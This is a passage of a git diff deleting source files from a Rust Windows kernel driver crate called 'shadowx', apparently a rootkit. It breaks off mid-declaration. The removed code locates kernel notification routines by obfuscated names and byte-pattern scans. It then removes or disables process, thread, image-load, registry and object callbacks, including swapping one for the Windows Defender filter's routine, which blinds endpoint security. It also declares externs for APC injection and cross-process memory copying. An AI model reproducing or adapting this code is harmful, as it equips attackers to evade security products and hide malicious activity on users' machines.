mut INFO_CALLBACK_RESTAURE_NOTIFY: Lazy>> = Lazy::new(|| - Mutex::new(Vec::with_capacity(MAX_CALLBACK)) -); - -impl Callback { - /// Restores a previously removed callback by its index. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to be restored (e.g., process, thread, registry). - /// * `index` - The index of the callback to restore. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored. - /// * `Err(ShadowError)` - A specific error if the callback cannot be restored. - pub unsafe fn restore(callback: Callbacks, index: usize) -> Result { - // Lock the removed callbacks to ensure thread-safe access - let mut callbacks = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); - - // Find the removed callback by its index - let index = callbacks - .iter() - .position(|c| c.callback == callback && c.index == index) - .ok_or(ShadowError::IndexNotFound(index))?; - - // Retrieve the callback address based on the callback type - let address = match find_callback_address(&callback)? { - CallbackResult::Notify(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - // Restore the callback by writing back its address - let addr = address.offset((callbacks[index].index * 8) as isize); - *(addr as *mut u64) = callbacks[index].address; - - // Remove the restored callback from the saved list - callbacks.remove(index); - - Ok(STATUS_SUCCESS) - } - - /// Removes a callback from a notification routine. - /// - /// This function removes a callback by setting its address in the callback table to `0` - /// and stores the removed callback's information in `INFO_CALLBACK_RESTAURE_NOTIFY` for - /// future restoration. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to remove. - /// * `index` - The index of the callback to remove. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed. - /// * `Err(ShadowError)` - if the callback address cannot be found. - pub unsafe fn remove(callback: Callbacks, index: usize) -> Result { - // Retrieve the callback address based on the callback type - let address = match find_callback_address(&callback)? { - CallbackResult::Notify(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - // Calculate the callback address to be removed - let addr = address.offset((index as isize) * 8); - - // Save the removed callback information - let callback = CallbackRestaure { - index, - callback, - address: *(addr as *mut u64), - }; - - let mut callback_info = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); - callback_info.push(callback); - - // Remove the callback by setting its address to 0 - *(addr as *mut u64) = 0; - - Ok(STATUS_SUCCESS) - } -} - -/// Methods related to callback enumeration -impl Callback { - /// Enumerates the modules associated with callbacks and populates callback information. - /// - /// This function iterates through the system's callback table and identifies the modules - /// that have registered callbacks. It stores this information in the `callback_info` structure. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to enumerate. - /// - /// # Returns - /// - /// * `Ok(Vec)` - containing the list of callbacks. - /// * `Err(ShadowError)` - if the callback cannot be found. - pub unsafe fn enumerate(callback: Callbacks) -> Result, ShadowError> { - let mut callbacks: Vec = Vec::new(); - - // Get the address of the callback from the system - let address = match find_callback_address(&callback)? { - CallbackResult::Notify(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - // Iterate over loaded modules to find the module corresponding to each callback - let (mut ldr_data, module_count) = list_modules()?; - let start_entry = ldr_data; - - for i in 0..64 { - let addr = address.cast::().offset(i * 8); - let callback = *(addr as *const u64); - - if callback == 0 { - continue; - } - - // Iterate through the loaded modules to find the one associated with the callback - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - let raw_pointer = *((callback & 0xfffffffffffffff8) as *const u64); - - // Check if the callback addresses fall within the module's memory range - if raw_pointer > start_address as u64 && raw_pointer < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: i as u8, - address: raw_pointer as usize, - name, - ..Default::default() - }); - - break; - } - - // Move to the next module - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset the module list pointer for the next callback - ldr_data = start_entry; - } - - Ok(callbacks) - } - - /// Enumerates all removed callbacks and provides detailed information. - /// - /// # Returns - /// - /// * `Ok(Vec)` - containing the list of removed callbacks. - /// * `Err(ShadowError)` - if the operation fails. - pub unsafe fn enumerate_removed() -> Result, ShadowError> { - let mut callbacks: Vec = Vec::new(); - - let callbacks_removed = INFO_CALLBACK_RESTAURE_NOTIFY.lock(); - let (mut ldr_data, module_count) = list_modules()?; - let start_entry = ldr_data; - - // Iterate over the removed callbacks - for (i, callback) in callbacks_removed.iter().enumerate() { - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64; - let raw_pointer = *((callback.address & 0xfffffffffffffff8) as *const u64); - - // Check if the callback addresses fall within the module's memory range - if raw_pointer > start_address as u64 && raw_pointer < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: callback.index as u8, - address: callback.address as usize, - name, - ..Default::default() - }); - - break; - } - - // Move to the next module - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset the module list pointer for the next callback - ldr_data = start_entry; - } - - Ok(callbacks) - } -} \ No newline at end of file diff --git a/crates/shadowx/src/callback/callbacks/object.rs b/crates/shadowx/src/callback/callbacks/object.rs deleted file mode 100644 index f5c35d9..0000000 --- a/crates/shadowx/src/callback/callbacks/object.rs +++ /dev/null @@ -1,287 +0,0 @@ -use { - alloc::vec::Vec, - spin::{Lazy, Mutex}, - ntapi::ntldr::LDR_DATA_TABLE_ENTRY, - wdk_sys::{NTSTATUS, STATUS_SUCCESS,} -}; - -use { - common::{ - enums::Callbacks, - structs::CallbackInfoOutput, - }, - crate::{ - error::ShadowError, list_modules, - lock::with_push_lock_exclusive, - data::{CallbackRestaureOb, OBCALLBACK_ENTRY}, - callback::find_callback::{find_callback_address, CallbackResult}, - }, -}; - -/// Structure representing the Callback Object. -pub struct CallbackOb; - -const MAX_CALLBACK: usize = 100; - -/// Stores information about removed callbacks. -/// -/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex` -/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`. -static mut INFO_CALLBACK_RESTAURE_OB: Lazy>> = Lazy::new(|| - Mutex::new(Vec::with_capacity(MAX_CALLBACK)) -); - -/// Implement a feature for the callback ObRegisterCallbacks (PsProcessType / PsThreadType). -impl CallbackOb { - /// Restores a previously removed callback by its index. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to be restored (e.g., process, thread, registry). - /// * `index` - The index of the callback to restore. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored. - /// * `Err(ShadowError)` - A specific error if the callback cannot be restored. - pub unsafe fn restore(callback: Callbacks, index: usize) -> Result { - // Lock the removed callbacks to ensure thread-safe access - let mut callbacks = INFO_CALLBACK_RESTAURE_OB.lock(); - - // Find the callback by its index - let index = callbacks - .iter() - .position(|c| c.callback == callback && c.index == index) - .ok_or(ShadowError::IndexNotFound(index))?; - - // Retrieve the callback address based on the callback type - let full_object = match find_callback_address(&callback)? { - CallbackResult::Object(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - // Acquire exclusive access to the TypeLock associated with the callback object - let lock = &(*full_object).TypeLock as *const _ as *mut u64; - with_push_lock_exclusive(lock, || { - let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; - let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - - // Traverse the list of callback entries to find the one matching the removed entry - while next != current { - if !(*next).Enabled && !next.is_null() && (*next).Entry as u64 == callbacks[index].entry { - - // Re-enable the callback and remove it from the removed list - (*next).Enabled = true; - callbacks.remove(index); - - return Ok(STATUS_SUCCESS); - } - - next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - } - - Err(ShadowError::RestoringFailureCallback) - }) - } - - /// Removes a callback from a notification routine. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to remove. - /// * `index` - The index of the callback to remove. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed. - /// * `Err(ShadowError)` - if the callback address cannot be found. - pub unsafe fn remove(callback: Callbacks, index: usize) -> Result { - // Retrieve the callback address based on the callback type - let full_object = match find_callback_address(&callback)? { - CallbackResult::Object(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - // Acquire exclusive access to the TypeLock associated with the callback object - let lock = &(*full_object).TypeLock as *const _ as *mut u64; - with_push_lock_exclusive(lock, || { - let mut i = 0; - let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; - let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - let mut callback_info = INFO_CALLBACK_RESTAURE_OB.lock(); - - // Traverse the list of callback entries - while next != current { - if i == index { - if (*next).Enabled { - // Store the removed callback in the list of removed callbacks - let callback_restaure = CallbackRestaureOb { - index, - callback, - entry: (*next).Entry as u64, - pre_operation: (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64), - post_operation: (*next).PostOperation.map_or(0u64, |post_op| post_op as u64) - }; - - // Disable the callback - (*next).Enabled = false; - callback_info.push(callback_restaure); - } - - return Ok(STATUS_SUCCESS); - } - - // Move to the next entry in the callback list - next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - i += 1; - } - - Err(ShadowError::RemoveFailureCallback) - }) - } -} - -/// Methods related to callback enumeration -impl CallbackOb { - /// Enumerates the modules associated with callbacks and populates callback information. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to enumerate. - /// - /// # Returns - /// - /// * `Ok(Vec)` - containing the list of callbacks. - /// * `Err(ShadowError)` - if the callback cannot be found. - pub unsafe fn enumerate(callback: Callbacks) -> Result, ShadowError> { - let mut callbacks: Vec = Vec::new(); - - // Retrieve the callback address based on the callback type - let full_object = match find_callback_address(&callback)? { - CallbackResult::Object(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound), - }; - - let current = &mut ((*full_object).CallbackList) as *mut _ as *mut OBCALLBACK_ENTRY; - let mut next = (*current).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - let mut list_objects = Vec::new(); - - // Collect the information about each callback - while next != current { - let pre_op_addr = (*next).PreOperation.map_or(0u64, |pre_op| pre_op as u64); - let post_op_addr = (*next).PostOperation.map_or(0u64, |post_op| post_op as u64); - - list_objects.push(((*next).Enabled, (pre_op_addr, post_op_addr))); - next = (*next).CallbackList.Flink as *mut OBCALLBACK_ENTRY; - } - - // Iterate over loaded modules to find the module corresponding to each callback - let (mut ldr_data, module_count) = list_modules()?; - let start_entry = ldr_data; - let mut current_index = 0; - - for (i, (enabled, addrs)) in list_objects.iter().enumerate() { - if !enabled { - current_index += 1; - continue; - } - - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let end_address = start_address as u64 + (*ldr_data).SizeOfImage as u64; - let pre_operation = addrs.0; - let post_operation = addrs.1; - - // Check if the callback addresses fall within the module's memory range - if pre_operation > start_address as u64 && pre_operation < end_address || - post_operation > start_address as u64 && post_operation < end_address - { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: current_index, - name, - pre_operation: pre_operation as usize, - post_operation: post_operation as usize, - address: 0 - }); - - current_index += 1; - break; - } - - // Move to the next module - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset ldr_data for the next callback - ldr_data = start_entry; - } - - Ok(callbacks) - } - - /// Enumerates all removed callbacks and provides detailed information. - /// - /// # Returns - /// - /// * `Ok(Vec)` - containing the list of removed callbacks. - /// * `Err(ShadowError)` - if the operation fails. - pub unsafe fn enumerate_removed() -> Result, ShadowError> { - let mut callbacks: Vec = Vec::new(); - - let callbacks_removed = INFO_CALLBACK_RESTAURE_OB.lock(); - let (mut ldr_data, module_count) = list_modules()?; - let start_entry = ldr_data; - - // Iterate over the removed callbacks - for (i, callback) in callbacks_removed.iter().enumerate() { - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - - // Check if the callback addresses fall within the module's memory range - if callback.pre_operation > start_address as u64 && callback.pre_operation < end_address - || callback.post_operation > start_address as u64 && callback.post_operation < end_address - { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the removed callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: callback.index as u8, - name, - pre_operation: callback.pre_operation as usize, - post_operation: callback.post_operation as usize, - address: 0 - }); - - break; - } - - // Move to the next module - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset the module list pointer for the next callback - ldr_data = start_entry; - } - - Ok(callbacks) - } -} \ No newline at end of file diff --git a/crates/shadowx/src/callback/callbacks/registry.rs b/crates/shadowx/src/callback/callbacks/registry.rs deleted file mode 100644 index 167371d..0000000 --- a/crates/shadowx/src/callback/callbacks/registry.rs +++ /dev/null @@ -1,280 +0,0 @@ -use { - alloc::vec::Vec, - spin::{Lazy, Mutex}, - ntapi::ntldr::LDR_DATA_TABLE_ENTRY, - wdk_sys::{NTSTATUS, STATUS_SUCCESS}, -}; - -use { - common::{ - enums::Callbacks, - structs::CallbackInfoOutput - }, - crate::{ - list_modules, - error::ShadowError, - lock::with_push_lock_exclusive, - data::{CallbackRestaure, CM_CALLBACK}, - callback::find_callback::{ - find_callback_address, CallbackResult - }, - }, -}; - -/// Structure representing the Callback Registry. -pub struct CallbackRegistry; - -const MAX_CALLBACK: usize = 100; - -/// Stores information about removed callbacks. -/// -/// This static variable holds a list of callbacks that were removed and are protected by a `Mutex` -/// to ensure thread-safe access. It is initialized with a capacity of `MAX_CALLBACK`. -static mut INFO_CALLBACK_RESTAURE_REGISTRY: Lazy>> = Lazy::new(|| - Mutex::new(Vec::with_capacity(MAX_CALLBACK)) -); - -/// Implement a feature for the callback CmRegisterCallbackEx. -impl CallbackRegistry { - /// Restores a previously removed callback by its index. - /// - /// # Arguments - /// - /// * `callback` - The type of callback to be restored (e.g., process, thread, registry). - /// * `index` - The index of the callback to restore. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - A success state if the callback is successfully restored. - /// * `Err(ShadowError)` - A specific error if the callback cannot be restored. - pub unsafe fn restore(callback: Callbacks, index: usize) -> Result { - // Lock the removed callbacks to ensure thread-safe access - let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); - - // Locating the target callback index - let index = callbacks_info - .iter() - .position(|c| c.callback == callback && c.index == index) - .ok_or(ShadowError::IndexNotFound(index))?; - - // Retrieve the callback address based on the callback type - let (callback, count, lock) = match find_callback_address(&callback)? { - CallbackResult::Registry(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound) - }; - - // Getting a lock to perform the restore operation - with_push_lock_exclusive(lock as *mut u64, || { - let count = *(count as *mut u32) + 1; - let mut pcm_callback = callback as *mut CM_CALLBACK; - - for i in 0..count { - if pcm_callback.is_null() { - break; - } - - if i == index as u32 { - // If the index is matched, restore from the list - (*pcm_callback).Function = callbacks_info[index].address; - callbacks_info.remove(index); - - return Ok(STATUS_SUCCESS); - } - - pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; - } - - Err(ShadowError::RestoringFailureCallback) - }) - } - - /// Removes a callback from the specified routine. - /// - /// # Arguments - /// - /// * `target_callback` - Pointer to the callback information input. - /// - /// # Returns - /// - /// * `Ok(STATUS_SUCCESS)` - if the callback is successfully removed. - /// * `Err(ShadowError)` - if the callback address cannot be found. - pub unsafe fn remove(callback: Callbacks, index: usize) -> Result { - // Retrieve the callback address based on the callback type - let (callbacks, count, lock) = match find_callback_address(&callback)? { - CallbackResult::Registry(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound) - }; - - // Getting a lock to perform the remove operation - with_push_lock_exclusive(lock as *mut u64, || { - let count = *(count as *mut u32) + 1; - let mut pcm_callback = callbacks as *mut CM_CALLBACK; - let mut callbacks_info = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); - let mut prev_addr = 0; - - for i in 0..count { - if i == 1 { - // Here we make an exchange, changing the target address to `WdFilter.sys` - prev_addr = (*pcm_callback).Function; - } - - if pcm_callback.is_null() { - break; - } - - if i == index as u32 { - let callback_restaure = CallbackRestaure { - index, - callback, - address: (*pcm_callback).Function, - ..Default::default() - }; - - // If the index is matched, remove from the list - (*pcm_callback).Function = prev_addr; - callbacks_info.push(callback_restaure); - - return Ok(STATUS_SUCCESS); - } - - pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; - } - - Err(ShadowError::RemoveFailureCallback) - }) - } - - -} - -/// Methods related to callback enumeration -impl CallbackRegistry { - /// Searches for a module associated with a callback and updates callback information. - /// - /// # Arguments - /// - /// * `target_callback` - Pointer to the callback information input. - /// * `callback_info` - Pointer to the callback information output. - /// * `information` - Pointer to a variable to store information size. - /// - /// # Returns - /// - /// * Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. - pub unsafe fn enumerate(callback: Callbacks) -> Result, ShadowError> { - let mut callbacks: Vec = Vec::new(); - - let (callback, count, lock) = match find_callback_address(&callback)? { - CallbackResult::Registry(addr) => addr, - _ => return Err(ShadowError::CallbackNotFound) - }; - - let (mut ldr_data, module_count) = list_modules()?; - let start_entry = ldr_data; - - let count = *(count as *mut u32) + 1; - let mut pcm_callback = callback as *mut CM_CALLBACK; - - with_push_lock_exclusive(lock as *mut u64, || { - for i in 0..count as isize { - if pcm_callback.is_null() { - break; - } - - // Iterate over the loaded modules - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - let addr = (*pcm_callback).Function; - - if addr > start_address as u64 && addr < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: i as u8, - address: addr as usize, - name, - ..Default::default() - }); - - break; - } - - // Go to the next module in the list - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset ldr_data for next callback - ldr_data = start_entry; - - pcm_callback = (*pcm_callback).List.Flink as *mut CM_CALLBACK; - } - - Ok(callbacks) - }) - } - - /// List of callbacks currently removed. - /// - /// # Arguments - /// - /// * `target_callback` - Pointer to the callback information input. - /// * `callback_info` - Pointer to the callback information output. - /// * `information` - Pointer to a variable to store information size. - /// - /// # Returns - /// - /// * Status of the operation. `STATUS_SUCCESS` if successful, `STATUS_UNSUCCESSFUL` otherwise. - pub unsafe fn enumerate_removed() -> Result, ShadowError> { - let mut callbacks: Vec = Vec::new(); - - let callbacks_removed = INFO_CALLBACK_RESTAURE_REGISTRY.lock(); - let (mut ldr_data, module_count) = list_modules()?; - let start_entry = ldr_data; - - for (i, callback) in callbacks_removed.iter().enumerate() { - for _ in 0..module_count { - let start_address = (*ldr_data).DllBase; - let image_size = (*ldr_data).SizeOfImage; - let end_address = start_address as u64 + image_size as u64; - - if callback.address > start_address as u64 && callback.address < end_address { - let buffer = core::slice::from_raw_parts( - (*ldr_data).BaseDllName.Buffer, - ((*ldr_data).BaseDllName.Length / 2) as usize, - ); - - // Store the callback information - let mut name = [0u16; 256]; - let length = core::cmp::min(buffer.len(), 255); - name[..length].copy_from_slice(&buffer[..length]); - - callbacks.push(CallbackInfoOutput { - index: callback.index as u8, - address: callback.address as usize, - name, - ..Default::default() - }); - - break; - } - - // Move to the next module - ldr_data = (*ldr_data).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY; - } - - // Reset the module list pointer for the next callback - ldr_data = start_entry; - } - - Ok(callbacks) - } -} \ No newline at end of file diff --git a/crates/shadowx/src/callback/find_callback.rs b/crates/shadowx/src/callback/find_callback.rs deleted file mode 100644 index f439315..0000000 --- a/crates/shadowx/src/callback/find_callback.rs +++ /dev/null @@ -1,173 +0,0 @@ -use { - obfstr::obfstr, - wdk_sys::{ - PsProcessType, PsThreadType, - ntddk::MmGetSystemRoutineAddress, - }, -}; - -use { - common::enums::Callbacks, - crate::{ - data::FULL_OBJECT_TYPE, - error::ShadowError, - utils::{ - patterns::scan_for_pattern, - uni::str_to_unicode - } - }, -}; - -/// Finds the address of the `PsSetCreateProcessNotifyRoutine` routine. -/// -/// This function retrieves the address of the `PsSetCreateProcessNotifyRoutine` -/// by scanning memory for a specific pattern. -/// -/// # Returns -/// -/// * `Ok(*mut u8)` - The pointer to the routine's address if found. -/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. -unsafe fn find_ps_create_process() -> Result<*mut u8, ShadowError> { - let mut name = str_to_unicode(obfstr!("PsSetCreateProcessNotifyRoutine")).to_unicode(); - let function_address = MmGetSystemRoutineAddress(&mut name); - - // call nt!PspSetCreateProcessNotifyRoutine (xxx) - let instructions = [0xE8]; - let psp_set_create_process = scan_for_pattern(function_address, &instructions, 1, 5, 0x14)?; - - let instructions = [0x4C, 0x8D, 0x2D]; - scan_for_pattern(psp_set_create_process as _, &instructions, 3, 7, 0x98) -} - -/// Finds the address of the `PsRemoveCreateThreadNotifyRoutine` routine. -/// -/// This function retrieves the address of the `PsRemoveCreateThreadNotifyRoutine` -/// by scanning memory for a specific pattern. -/// -/// # Returns -/// -/// * `Ok(*mut u8)` - The pointer to the routine's address if found. -/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. -unsafe fn find_ps_create_thread() -> Result<*mut u8, ShadowError> { - let mut name = str_to_unicode(obfstr!("PsRemoveCreateThreadNotifyRoutine")).to_unicode(); - let function_address = MmGetSystemRoutineAddress(&mut name); - - // lea rcx,[nt!PspCreateThreadNotifyRoutine (xxx)] - let instructions = [0x48, 0x8D, 0x0D]; - scan_for_pattern(function_address, &instructions, 3, 7, 0x50) -} - -/// Finds the address of the `PsSetLoadImageNotifyRoutineEx` routine. -/// -/// This function retrieves the address of the `PsSetLoadImageNotifyRoutineEx` -/// by scanning memory for a specific pattern. -/// -/// # Returns -/// -/// * `Ok(*mut u8)` - The pointer to the routine's address if found. -/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. -unsafe fn find_ps_load_image() -> Result<*mut u8, ShadowError> { - let mut name = str_to_unicode(obfstr!("PsSetLoadImageNotifyRoutineEx")).to_unicode(); - let function_address = MmGetSystemRoutineAddress(&mut name); - - // lea rcx,[nt!PspLoadImageNotifyRoutine (xxx)] - let instructions = [0x48, 0x8D, 0x0D]; - scan_for_pattern(function_address, &instructions, 3, 7, 0x50) -} - -/// Finds the address of the `CmRegisterCallbackEx` routine. -/// -/// This function retrieves the address of the `CmRegisterCallbackEx` routine -/// and other related components such as the callback list lock, callback list head, -/// and the callback count, by scanning memory for specific patterns. -/// -/// # Returns -/// -/// * `Ok((*mut u8, *mut u8, *mut u8))` - A tuple containing the callback list head, callback count, -/// and the callback list lock if found. -/// * `Err(ShadowError)` - If the pattern is not found or an error occurs during scanning. -unsafe fn find_cm_register_callback() -> Result<(*mut u8, *mut u8, *mut u8), ShadowError> { - let mut name = str_to_unicode(obfstr!("CmRegisterCallbackEx")).to_unicode(); - let function_address = MmGetSystemRoutineAddress(&mut name); - - // call nt!CmpRegisterCallbackInternal - let register_internal_pattern = [0xE8]; - let register_callback_internal = scan_for_pattern(function_address, ®ister_internal_pattern, 1, 5, 0x50)?; - - // call nt!CmpInsertCallbackInListByAltitude - let insert_pattern: [u8; 3] = [0x8B, 0xCB, 0xE8]; - let insert_call_address = scan_for_pattern(register_callback_internal as _, &insert_pattern, 3, 7, 0x108)?; - - // lea rcx,[nt!CmpCallbackListLock (xxx)] - let cmp_callback_list_lock_pattern = [0x48, 0x8D, 0x0D]; - let callback_list_lock = scan_for_pattern(insert_call_address as _, &cmp_callback_list_lock_pattern, 3, 7, 0x200)?; - - // lea r15,[nt!CallbackListHead (xxx)] - let callback_list_head_pattern = [0x4C, 0x8D, 0x3D]; - let callback_list_header = scan_for_pattern(insert_call_address as _, &callback_list_head_pattern, 3, 7, 0x200)?; - - // lock inc dword ptr [nt!CmpCallBackCount (xxx)] - let cmp_callback_count_pattern = [0xF0, 0xFF, 0x05]; - let callback_count = scan_for_pattern(insert_call_address as _, &cmp_callback_count_pattern, 3, 7, 0x200)?; - - Ok((callback_list_header, callback_count, callback_list_lock)) -} - -/// Finds the address of the `ObRegisterCallbacks` routine. -/// -/// This function retrieves the address of either the `ObProcess` or `ObThread` callbacks -/// based on the provided callback type. -/// -/// # Arguments -/// -/// * `callback` - A reference to the `Callbacks` enum specifying the target callback. -/// -/// # Returns -/// -/// * `Ok(*mut FULL_OBJECT_TYPE)` - The pointer to the object type associated with the callback if found. -/// * `Err(ShadowError)` - If the callback type is not recognized or an error occurs. -pub fn find_ob_register_callback(callback: &Callbacks) -> Result<*mut FULL_OBJECT_TYPE, ShadowError> { - match callback { - Callbacks::ObProcess => Ok(unsafe { (*PsProcessType) as *mut FULL_OBJECT_TYPE }), - Callbacks::ObThread => Ok(unsafe { (*PsThreadType) as *mut FULL_OBJECT_TYPE }), - _ => Err(ShadowError::PatternNotFound) - } -} - -/// Finds the address of the specified callback routine. -/// -/// This function dispatches the search based on the callback type, calling the appropriate -/// function to retrieve the address of the desired callback. -/// -/// # Arguments -/// -/// * `callback` - A reference to the `Callbacks` enum specifying the target callback. -/// -/// # Returns -/// -/// * `Ok(CallbackResult)` - A result containing the address of the callback or related components. -/// * `Err(ShadowError)` - If the callback is not found or an error occurs. -pub unsafe fn find_callback_address(callback: &Callbacks) -> Result { - match callback { - Callbacks::PsSetCreateProcessNotifyRoutine => find_ps_create_process().map(CallbackResult::Notify), - Callbacks::PsSetCreateThreadNotifyRoutine => find_ps_create_thread().map(CallbackResult::Notify), - Callbacks::PsSetLoadImageNotifyRoutine => find_ps_load_image().map(CallbackResult::Notify), - Callbacks::CmRegisterCallbackEx => find_cm_register_callback().map(CallbackResult::Registry), - Callbacks::ObProcess | Callbacks::ObThread => find_ob_register_callback(callback).map(CallbackResult::Object), - } -} - -/// Enum representing the return types for various callback searches. -/// -/// This enum holds the result of searching for a specific callback routine. -/// The variants store the associated memory addresses for the found callbacks. -pub enum CallbackResult { - /// Holds the address for process/thread/image creation notifications. - Notify(*mut u8), - - /// Holds the addresses for the registry callback, including the callback list and callback count. - Registry((*mut u8, *mut u8, *mut u8)), - - /// Holds the address for object process/thread callbacks. - Object(*mut FULL_OBJECT_TYPE), -} \ No newline at end of file diff --git a/crates/shadowx/src/callback/mod.rs b/crates/shadowx/src/callback/mod.rs deleted file mode 100644 index 2b9dea5..0000000 --- a/crates/shadowx/src/callback/mod.rs +++ /dev/null @@ -1,6 +0,0 @@ -/// This module provides custom callback functions and utilities. -pub mod find_callback; - -/// This module implements various types of callbacks used throughout the project. -pub mod callbacks; -pub use callbacks::*; \ No newline at end of file diff --git a/crates/shadowx/src/data/enums.rs b/crates/shadowx/src/data/enums.rs deleted file mode 100644 index ea344db..0000000 --- a/crates/shadowx/src/data/enums.rs +++ /dev/null @@ -1,13 +0,0 @@ -#[repr(C)] -pub enum KAPC_ENVIROMENT { - OriginalApcEnvironment, - AttachedApcEnvironment, - CurrentApcEnvironment, - InsertApcEnvironment -} - -#[derive(Clone, Copy)] -pub enum COMUNICATION_TYPE { - TCP = 3, - UDP = 1 -} \ No newline at end of file diff --git a/crates/shadowx/src/data/externs.rs b/crates/shadowx/src/data/externs.rs deleted file mode 100644 index 7d39703..0000000 --- a/crates/shadowx/src/data/externs.rs +++ /dev/null @@ -1,68 +0,0 @@ -use super::*; -use wdk_sys::*; - -extern "C" { - pub static mut IoDriverObjectType: *mut *mut _OBJECT_TYPE; -} - -extern "system" { - pub fn PsGetProcessPeb(ProcessId: PEPROCESS) -> PPEB; - - pub fn PsGetCurrentThread() -> PETHREAD; - - pub fn IoCreateDriver( - DriverName: PUNICODE_STRING, - DriverInitialize: types::DRIVER_INITIALIZE, - ) -> NTSTATUS; - - pub fn ZwProtectVirtualMemory( - ProcessHandle: HANDLE, - BaseAddress: *mut PVOID, - RegionSize: PSIZE_T, - NewProtect: ULONG, - OldProtect: PULONG - ) -> NTSTATUS; - - pub fn MmCopyVirtualMemory( - SourceProcess: PEPROCESS, - SourceAddress: PVOID, - TargetProcess: PEPROCESS, - TargetAddress: PVOID, - BufferSize: SIZE_T, - PreviousMode: KPROCESSOR_MODE, - ReturnSize: PSIZE_T, - ); - - pub fn KeInitializeApc( - APC: PRKAPC, - Thread: PETHREAD, - Environment: enums::KAPC_ENVIROMENT, - KernelRoutine: types::PKKERNEL_ROUTINE, - RundownRoutine: types::PKRUNDOWN_ROUTINE, - NormalRoutine: types::PKNORMAL_ROUTINE, - ApcMode: 